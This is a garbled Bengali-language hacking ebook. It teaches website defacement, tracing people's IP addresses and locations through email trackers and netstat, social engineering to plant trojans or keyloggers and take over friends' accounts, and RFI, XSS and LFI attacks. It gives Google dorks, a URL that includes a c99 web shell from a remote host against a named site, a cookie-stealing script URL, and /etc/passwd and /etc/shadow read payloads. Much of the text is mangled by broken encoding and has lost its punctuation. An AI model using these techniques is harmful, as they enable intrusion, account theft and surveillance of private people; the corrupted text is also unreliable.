সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 7: Hacking Bangla eBook

কভানডএকতযযায অকতন ধযচছনয কতকছ কতচন সদখচছত াচছফন এয ভাচছন চছে এআ সম সসথানগচছরাচছত পাযাযযার সথান কযা যচছযচছছ মাচছত কচছয সম সকউ চছজ অকরভনকযচছত না াচছয

াধাযন বর-ধাযনা

চছনচছকআঅচছছন মাযা ভচছন কচছযন সম আনটাযচছনট সথচছক সকান উরচকষভতা িনন সপকব াতযতথয ফা তথযাকতদ সদখা ফা জানা মায না অচছর এটি বর ধাযনা ভচছন করন আনটাযচছনচছট চছনচছকআ টপাআর ফা সযকতডচছযাচছযয কতপরকতভযাভ একাউনট সদয মাচছথচছক অকতন উকত ন কতকনত ভযা চছে অকতন জাচছনন না এআ একাউনট সকাথা সথচছক সদযা চছযচছছ অকতন আচছে কযচছরআ এফ তথয জানচছত াচছযন

মখন অকতন কভানড একতযযায সকান চছযফাআচছটয কতফযীচছত nslookup কতরচছখ এনটায কতদচছফনতখন যত এযকভ সরখা অচছত াচছয সম You are now authentized to this route

এযকভ কতকছ সরখা সদখচছরআ অকতন ফচছঝ সনচছফন সম আ চছযফাআচছট সপকব াতয তথযযচছযচছছ আ চছযফাআট িচছকব কতফসতাকতযত জানচছত অকতন কতনচছচয চছযফাআটগচছরাফযফায কযচছত াচছযন

wwwsamspadecomwwwdnsstuffcomwwwwhoisnet wwwwhois ঐ কর চছযফাআচছট শধভাতর চছযফাআটটিয নাভ কতদচছযআ অকতন এযঅআকত সথান ভাকতরচছকয নাভ কচছফ সকনা চছযচছছ সভযাদ কত কতদচছনয নদকতনক কতবকতজটযংখযা সনভ াবব ায আতযাকতদ কতফকতবনন তথয জানচছত াযচছফন তথয সজাগাি কযাএকজন যাকাচছযয পরাথকতভক কাজ এটি না কযচছর অকতন কতকছআ কযচছত াযচছফন না

কতরচছখচছছনঃ সভচছকতদ াান

আচছভআর দাতায অআকত ননধান

অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ

অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন

victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয

ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ

httpwwwdidtheyreaditcom

httpwwwpointofmailcom

ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন

অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা

অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger

MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন

সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-

gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না

সকষতর-২

Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন

সকষতর-৩

Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব

কতরচছখচছছনঃ সভচছকতদ াান

সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং

অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর

িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয

অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা

ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায

ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK

HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি

ndashgtimpersonation

mdashgtposing as imp user

mdashgt3rd person approach

mdashgttechnical support

কসিউটার সভসিক মিািযা িআসজজসিোসরিং

কতনচছচয কচছযকটি বাচছগ কতফবি

ndashgtmailim attachments

ndashgtpop up windows

mdashgtsweepstakes

mdashgtspam mail

এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন

কতরচছখচছছনঃ সভচছকতদ াান

অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip

Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন

mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash

mdashmdashmdashmdashmdash

সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip

httpwwwtargetsitecomindexphppage=Anything

উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ

ldquoinurlindexphppage=rdquo

উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ

ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন

httpwwwtargetsitecomindexphppage=wwwgooglecom

এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip

httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom

তাচছর এটি সদখাচছফhellip

এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip

এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip

httph1ripwaycomtjunselectedc99shellphp

এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp

এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন

তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না

কতনফবাকতচতটিউনাযtrade

XSS কতক

XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web

Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয

ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600

xss-threat3jpg

XSS Vulnerability and Injection

যাপ ১ Vulnerable মেব িািআট োমজ মবর করা

অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks

ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=

তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন

যাপ ২ Vulnerability পরীো করা

এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন

না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password

Vulnerability যীকষা কযা জনয দটি িকতত অচছছ

পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয

http2bpblogspotcom-

8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg

পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here

যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন

এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-

পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন

সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=

এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable

যাপ ৩ Malicious Scripts মদো

Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ

এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ

httpattackerSitemaliciousjs

এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ

এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ

িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent

Persistent XSS

এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage

Non-Persistent XSS

এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily

একজি হযাকার এিআ Vulnerability সদমে সক কমর

কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা

চছযফ াআচছটয Bypassing restriction

Session Hijacking Malware Attack

Website Defacement Dos attacks

কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর

শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম

অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে

যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক

LFI

যাকাযচছদয

একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র

Local File Inclusionঅজ

অনাচছদয

াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য

পরথচছভ

কতনচছচয PHP সকাডগচছরা

সদখনhellip

$page=$_GET[page] include($page)

gt

উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক

কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ

wwwmywebsitecomindexphppage=productsphp

অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

